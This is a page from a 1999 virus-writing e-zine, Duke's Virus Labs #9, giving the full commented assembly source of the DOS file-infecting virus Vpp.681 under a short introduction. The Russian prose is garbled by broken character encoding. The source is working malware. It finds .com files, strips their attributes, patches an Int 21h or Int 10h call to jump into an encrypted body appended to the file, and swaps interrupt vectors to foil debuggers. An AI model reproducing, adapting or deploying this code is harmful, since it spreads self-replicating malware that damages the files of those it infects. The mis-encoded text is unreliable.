- [Duke's Virus Labs #9] - [Page 06] -

Disasm of Vpp.681
(c) CrkV

      諮     㡫      Vpp.475,    
।⠢ RedArc'  ७樨 RELCOM.COMP.VIRUS  ⢥   
 ⠯  ⥫᪨ ⨢ᮢ.   ⮬      ਢ
ᥬ㥬 ⥪   Vpp.681,  ।⠢    ன  ⠯
.  ᫥ ᪮ ᠭ .

Virus V++
---------

      ।饣  (Vpp.475) ⫨砥 ⥬,   ᢮  ⥫
 ⬮  砩  祬.  ࠢ,      ᯮ
 樨  ᫮,   ࠢ  䠩  ⭮.    ᠬ
 ᯮ짮 ७쪨 ਥ ⨢ ᥬ஢ ᠭ    
ࢮ ᪥ ୠ MooNBuG.    ࠡ뢠  訡    묨
䠩묨 ﬨ,    訡. 祬,  訡   ⠫
  ࠡ 設⢠ ஢ ணࠬ   ᪠. ⠫
⪨ 㭠᫥  ।饣  ⮬,      ⪨
ࠪ   ᠬ ⬠ ७  室. ,  
  ⠬   뢠  Int  21h    Int  20h.    ⠪
ᮯ ਥ ⨢  ⫠稪  ᥬ஢.
       ᮫        ।⠢    㤭  
⥪஢  祭.
      ⠪ ,   ।騩. ⢥,  㦭 ஢
  ਣ쭮  ணࠬ,  室    ﭭ  ᬥ饭.
   㤭.

===== Cut here =====
; Vpp(2).681 ᥬ஢ 08.07.1999 (c) CrkV

;  ,   ਨ  ய ஬ ;-)))

;쪮     ⫠稪 ,    
;᫮ ⠪ ,     ᪮  ।,
; ⮬  㤮㦨  ⮫  ஢ :-(((


DOSInt  EQU     20h

Int21h  EQU     Int     DOSInt

; ᥣ । Int 3      ஢ 㣭

.model tiny
.code
.286
        Org     100h
Vpp2:
        Push    103h
        PushA
        PushF
        Push    Ds
        Push    Es
        Push    103h
        Mov     Bp,Offset Entry_Point
        Jmp     @Start

Entry_Point:
        Push    Bp
        Push    Si
        Mov     Si,Sp
        Mov     Bp,Ss:[Si+04h]
        Sub     Bp,03h                  ;  
        Mov     Ss:[Si+04h],Bp
        Mov     Ds:[04h],Bp             ;Warning -     ???
        Pop     Si                      ;  . Vp, ⠬   ;))
        Pop     Bp
        PushA                           ;࠭  ॣ
        PushF                           ;䫠 ⮦ c࠭
        Push    Ds
        Push    Es
        Push    Cs
        Pop     Ds
        Push    Cs
        Pop     Es

;⥪   ⮦ ४稫, 筮  ᯮ  ,
; ⠪  䨪 । [Bp]   ⠢.

        Mov     Bp,Ds:[04h]             ;Warning - Ds   !!!
        Push    Bp
        Call    $ + 3
My_Point:
        Pop     Bp                      ;Bp:=Offset My_Point
        Sub     Bp,Offset My_Point - Offset Entry_Point
        Lea     Si,[Bp+Part2]           ; ஢
        Mov     Di,Si
        Mov     Bx,0C6C6h

        Org     $ - 2
Word_Shifr      EQU     $ - Offset Entry_Point
        dw      0C6C6h

        Mov     Cx,Shifr_Lenght         ;Opti-Mov Cx,266 Shr 1
        Shr     Cx,1

@LShifr:
        LodSW
        Not     Ax
        Xor     Ax,Bx
        Not     Ax
        StoSW
        Loop    @LShifr

Part2   EQU     $ - Offset Entry_Point
@Start:
        Sub     Cx,Cx                   ;Opti - 모 (loop)
        Mov     Ds,Cx                   ;⠡ 뢠
        Call    Set_Int21h              ;Int 20h <-> Int 21h
        Push    Cs
        Pop     Ds
        Mov     Ah,Ds:[Bp+Func2Fh]      ;Get DTA
        Int21h
        Lea     Si,[Bp+Save_DTA]
        Mov     [Si],Es                 ;OPTI- ⠬ ( LDs)
        Mov     [Si+2],Bx
        Push    Cs
        Pop     Es
        Mov     Ah,Ds:[Bp+Func1Ah]      ;Set DTA
        Lea     Dx,[Bp+New_DTA]
        Int21h                          ;⠭ ᢮ DTA
        Jmp     @Restore_Byte

@Ok_Restore:
        Mov     Ah,Ds:[Bp+Func4Eh]      ;Find_First
        Mov     Cl,Ds:[Bp+AtrF]
        Lea     Dx,[Bp+Mask_Com]

@Find_File:
        Int21h
        Jc      @Exit
        Jmp     @Check_File

@Exit:
        Mov     Ah,Ds:[Bp+Func1Ah]      ;Set DTA
        Mov     Dx,Ds:[Bp+Save_DTA]
        Mov     Dx,Dx                   ;Warning-᪠ ( Mov Ds,Dx)
        Mov     Dx,Ds:[Bp+Save_DTA][2]
        Int21h                          ;⠭ ணࠬ DTA
        Sub     Cx,Cx
        Mov     Ds,Cx
        Call    Set_Int21h              ;塞 ⭮ Int 20h <-> Int 21h
        Pop     Es
        Pop     Ds
        PopF
        PopA                            ;⠭ ॣ
        Pop     Bp
        Sub     Bp,3                    ;Warning -    
        Push    Bp
        Ret                             ;室  
;---------------------------------------
@Check_File:
        Lea     Dx,[Bp+New_DTA+1Eh]     ;   DTA
        Mov     Ax,Ds:[Bp+Func4301h]    ;Set Atr
        Xor     Cx,Cx
        Int21h
        Jc      @Not_Infected

        Lea     Dx,[Bp+New_DTA+1Eh]     ;Opti - 모
        Mov     Ax,Ds:[Bp+Func3D02h]    ;Open File (rd/wr)
        Int21h
        Jc      @Not_Infected
        Xchg    Bx,Ax                   ;Bx:=Ax (File Handle)
        Mov     Ax,Ds:[Bp+Func4202h]    ;LSeek File
        Mov     Cx,Ds:[Bp+_0000h]
        Mov     Dx,Cx                   ;OPTI-Cwd
        Int21h                          ; 室 Dx:Ax - ࠧ 䠩
        Cmp     Dx,00h                  ;OPTI-Or Dx,Dx
        Jne     @Not_Infected
        Cmp     Ax,0400h
        Jle     @Not_Infected           ;䠩 
        Cmp     Ax,0F000h
        Jnb     @Not_Infected           ;    ;-))

        Lea     Si,[Bp+Save_Ofs]
        Mov     [Si],Ax
        Sub     Ax,03h
        Xchg    Dx,Ax

        Mov     Ax,Ds:[Bp+Func4200h]    ;Lseek File
        Mov     Cx,Ds:[Bp+_0000h]
        Int21h                          ;⠭ .   䠩 - 3

        Mov     Ah,Ds:[Bp+Func3Fh]      ;Read File
        Lea     Dx,[Bp+Save_Byte]
        Mov     Cx,Ds:[Bp+_0003h]
        Int21h                          ;⠥ 3 
        Mov     Ax,Ds:[Bp+Save_Byte]
        Cmp     Ax,'+V'                 ;V+ - ⪠ 
        Je      @Not_Infected           ; ࠦ
        Mov     Ax,Ds:[Bp+Func4200h]    ;Lseek File
        Mov     Cx,Ds:[Bp+_0000h]
        Mov     Dx,Cx                   ;OPTI-Cwd
        Int21h                          ;⠭ .  砫 䠩

        Call    Infect

@Not_Infected:
        Mov     Ah,Ds:[Bp+Func3Eh]      ;Close File
        Int21h
        Mov     Ax,Ds:[Bp+Func4301h]    ;Set Atr
        Lea     Dx,[Bp+New_DTA+1Eh]
        Mov     Cx,Ds:[Bp+_0000h]
        Mov     Cl,Ds:[Bp+New_DTA+15h]  ;ਡ  DTA
        Int21h
;-  ६  蠫 ⠭ ;-))

@Exit_Check:
        Mov     Ah,Ds:[Bp+Func4Fh]      ;Find Next
        Jmp     @Find_File
;---------------------------------------
Scan    Proc
        Push    Ax
        Push    Bx
        Push    Cx
        Push    Dx
        Cld                             ;OPTI-모
        Mov     Al,[Si]                 ;0CDh

@Next_Scan:
        Repne   ScaSB
        Jz      @Ok_Scan
        Mov     Di,0FFFFh
        Jmp     @Exit_Scan

@Ok_Scan:
        Push    Cx
        Push    Di
        Push    Si
        Mov     Cx,Bx
        Dec     Di
        Rep     CmpSB
        Je      @Find_Scan
        Pop     Si
        Pop     Di
        Pop     Cx
        Jmp     @Next_Scan

@Find_Scan:
        Pop     Si
        Pop     Di
        Dec     Di
        Pop     Cx

@Exit_Scan:
        Pop     Dx
        Pop     Cx
        Pop     Bx
        Pop     Ax
        Ret
Scan    EndP
;---------------------------------------
Cont_Infect     Proc
        Mov     Ax,Ds:[Bp+Func4200h]    ;Lseek File
        Mov     Cx,Ds:[Bp+_0000h]
        Mov     Dx,Di                   ; 㤥 室  ⥫ 
        Int21h
        Lea     Si,[Bp+Save_Ofs]
        Mov     Ax,[Si]
        Sub     Ax,Di
        Sub     Ax,3                    ;塞 ᬥ饭  Call 
        Lea     Si,[Bp+Save_Byte]
        Mov     Byte Ptr [Si],0E8h      ;Call Entry_Point
        Mov     [Si+01h],Ax
        Xchg    Si,Dx                   ;Dx:=Si
        Mov     Ah,Ds:[Bp+Func40h]      ;Write File ***1
        Mov     Cx,Ds:[Bp+_0003h]
        Int21h                  ;ᠫ  室
        Mov     Ax,Ds:[Bp+Func4202h]    ;Lseek File
        Mov     Cx,Ds:[Bp+_0000h]
        Mov     Dx,Cx
        Int21h                          ;諨   䠩
        Lea     Si,[Bp+Buffer]          ;***2
        Add     Si,Di
        Lea     Di,[Bp+Save_Byte]
        Mov     Cx,Ds:[Bp+_0003h]       ;OPTI- MovSW, MovSB
        Rep     MovSB
        Lea     Dx,[Bp+Buffer]          ;OPTI-***1 Push Si,Pop Dx
        Call    Shifr
        Mov     Cx,Vir_Lenght
        Mov     Ah,Ds:[Bp+Func40h]      ;Write_File (OPTI ***2 Push Ax,Pop Ax)
        Int21h                          ;ᠫ 
        Ret
Cont_Infect     EndP
;---------------------------------------
Set_Int21h      Proc
        Cli
        Mov     Bx,Ds:[DOSInt*4]        ;Int 20h
        Mov     Cx,Ds:[21h*4]           ;Int 21h
        Xchg    Bx,Cx
        Mov     Ds:[DOSInt*4],Bx        ;Opti-Mov R,M; Xchg R,M; Mov M,R
        Mov     Ds:[21h*4],Cx
        Mov     Bx,Ds:[DOSInt*4][2]     ;Int 20h
        Mov     Cx,Ds:[21h*4][2]        ;Int 21h
        Xchg    Bx,Cx
        Mov     Ds:[DOSInt*4][2],Bx     ;Opti-Mov R,M; Xchg R,M; Mov M,R
        Mov     Ds:[21h*4][2],Cx
        Sti
        Ret
Set_Int21h      EndP
;---------------------------------------
@Restore_Byte:
        ClD
        Pop     Di                      ; 
        Lea     Si,[Bp+Save_Byte]
        Mov     Cx,3                    ;OPTI-  ᠫ,  譥
        MovSB
        MovSW
        Jmp     @Ok_Restore
;---------------------------------------
Infect  Proc
        PushA
        Lea     Dx,[Bp+Buffer]
        Push    Dx
        Mov     Ah,Ds:[Bp+Func3Fh]      ;Read File
        Mov     Cx,400h
        Push    Cx
        Int21h                          ;뢠 1024 
        Pop     Cx
        Lea     Si,[Bp+_Int10h]
        Pop     Di
        Push    Bx
        Mov     Bx,2
        Call    Scan
        Pop     Bx

;       Cmp     Di,0FFFFh               ;OPTI-Inc Di
        Cmp     Di,1234h                ;Tasm  ⨬ ;-))
        Org     $ - 2                   ; ᮢ⨬ 
        dw      0FFFFh
        Je      @Scan_CD21h             ; 諨 饬 21CDh
@Infect21:
        Sub     Di,Buffer
        Sub     Di,Bp
        Call    Cont_Infect             ; ࠦ

@Exit_Infect:
        PopA
        Ret

@Scan_CD21h:
        Lea     Di,[Bp+Buffer]
        Lea     Si,[Bp+_Int21h]
        Push    Bx
        Mov     Bx,02h                  ;OPTI-Mov Bl,02h
        Call    Scan
        Pop     Bx

;       Cmp     Di,0FFFFh               ;OPTI-Inc Di
        Cmp     Di,1234h                ;Tasm  ⨬ ;-))
        Org     $ - 2                   ; ᮢ⨬ 
        dw      0FFFFh

        Je      @Exit_Infect            ;   21CDh, ਤ ⢠
        Jmp     @Infect21               ; ࠦ

;OPTI -    ᮪ 祭  10CDh

Infect  EndP
;---------------------------------------
Random  Proc
        Mov     Al,Ah
        In      Al,40h
        Cmp     Al,Ah
        Jnb     Random
        Xchg    Ah,Al
        Ret
Random  EndP
;---------------------------------------
Shifr   Proc
        Push    Ax
        Push    Bx
        Push    Cx
        Push    Dx
        Mov     Di,Dx                   ;Buffer
        Mov     Si,Bp                   ;砫 
        Mov     Cx,Part2
        Mov     Ah,0FFh
        Call    Random
        Xchg    Bx,Ax
        Mov     Bl,Bh
        Mov     Ds:[Bp+Word_Shifr],Bx   ;Opti-[Si]
        Repe    MovSB
        Mov     Cx,Shifr_Lenght         ;Opti-Mov Cx,266 Shr 1
        Shr     Cx,1

@LShifr2:
        LodSW
        Not     Ax
        Xor     Ax,Bx
        Not     Ax
        StoSW
        Loop    @LShifr2                ;஢뢠 ᭮ ⥫ 

        Mov     Ax,'+V'                 ;⪠ 
        StoSW
        Mov     Al,'+'
        StoSB

        Pop     Dx
        Pop     Cx
        Pop     Bx
        Pop     Ax
        Ret
Shifr   EndP
;----------------------------------------
;㭪樨  ⠭ 
Func40h         EQU     $ - Offset Entry_Point
        db      40h
Func4202h       EQU     $ - Offset Entry_Point
        dw      4202h
Func3Eh         EQU     $ - Offset Entry_Point
        db      3Eh
Func3D02h       EQU     $ - Offset Entry_Point
        dw      3D02h
Func4Fh         EQU     $ - Offset Entry_Point
        db      4Fh
Func4301h       EQU     $ - Offset Entry_Point
        dw      4301h
Func3Fh         EQU     $ - Offset Entry_Point
        db      3Fh
Func4200h       EQU     $ - Offset Entry_Point
        dw      4200h
_0003h          EQU     $ - Offset Entry_Point
        dw      0003h
AtrF            EQU     $ - Offset Entry_Point
        db      0FEh
Func4Eh         EQU     $ - Offset Entry_Point
        db      4Eh
Mask_Com        EQU     $ - Offset Entry_Point
        db      '*.com'
_0000h          EQU     $ - Offset Entry_Point
        dw      0000h
Func2Fh         EQU     $ - Offset Entry_Point
        db      02Fh
Func1Ah         EQU     $ - Offset Entry_Point
        db      1Ah
_Int10h         EQU     $ - Offset Entry_Point
        Int     10h
_Int21h         EQU     $ - Offset Entry_Point
        Int     21h
Save_Byte       EQU     $ - Offset Entry_Point
        db      0CDh,20h,20h

Shifr_Lenght    EQU     $ - Offset Part2 - Entry_Point

StrVpp  db      'V++'
Vir_Lenght      EQU     $ - Offset Entry_Point
;---------------------------------------
Save_Ofs        EQU     $ - Offset Entry_Point
        dw      ?
Save_DTA        EQU     $ - Offset Entry_Point
        dw      2       Dup (?)
Buffer          EQU     $ - Offset Entry_Point
        db      400h    Dup (?)
New_DTA         EQU     $ - Offset Entry_Point
;---------------------------------------
        End     Vpp2
===== Cut here =====
